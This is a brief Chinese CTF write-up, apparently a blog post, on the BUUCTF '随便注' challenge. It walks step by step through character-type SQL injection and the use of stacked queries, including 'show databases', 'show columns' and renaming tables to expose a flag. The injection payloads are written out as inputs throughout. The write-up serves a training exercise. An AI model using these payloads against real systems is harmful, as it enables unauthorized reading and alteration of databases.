buuCTF 随便注 思想感悟
通常上来就是判断字符型还是数字型注入
1 and 1 = 1
1 and 1 = 2
发现都可以显示 可以判断为字符型
*****
之后判断字符型的闭合符
1'and1=1

报错如上
1‘ and 1 = 1 # ---将多余的'注释掉
接下来 开始查询有关数据库的各种信息
常规的联合查询
在联合union查询前,先判断列数是否一致
多次试错得到
1’ group by 2# 正确
接下来
1' union select 1,2#

显示如上,得知以上关键字都被过滤了 但发现 show并没有
1';show databases;#
显示了一些数据库名字
检查各个数据库的字段名
0';show columns from 'words';#
0'; show columns from `1919810931114514`;#
将0改为1的意思是 将最开始的显示去除
words表有两个属性id和data
1919810931114514表有一个属性
猜想输入框查询的可能是words表
后台的查询语句
select id,data from words where id=
接下来思考 如何获得flag
将1919810931114514表的名字 改为 words表,
把flag属性名改为id
最后用
1' or 1 = 1;#
显示出来

浙公网安备 33010602011771号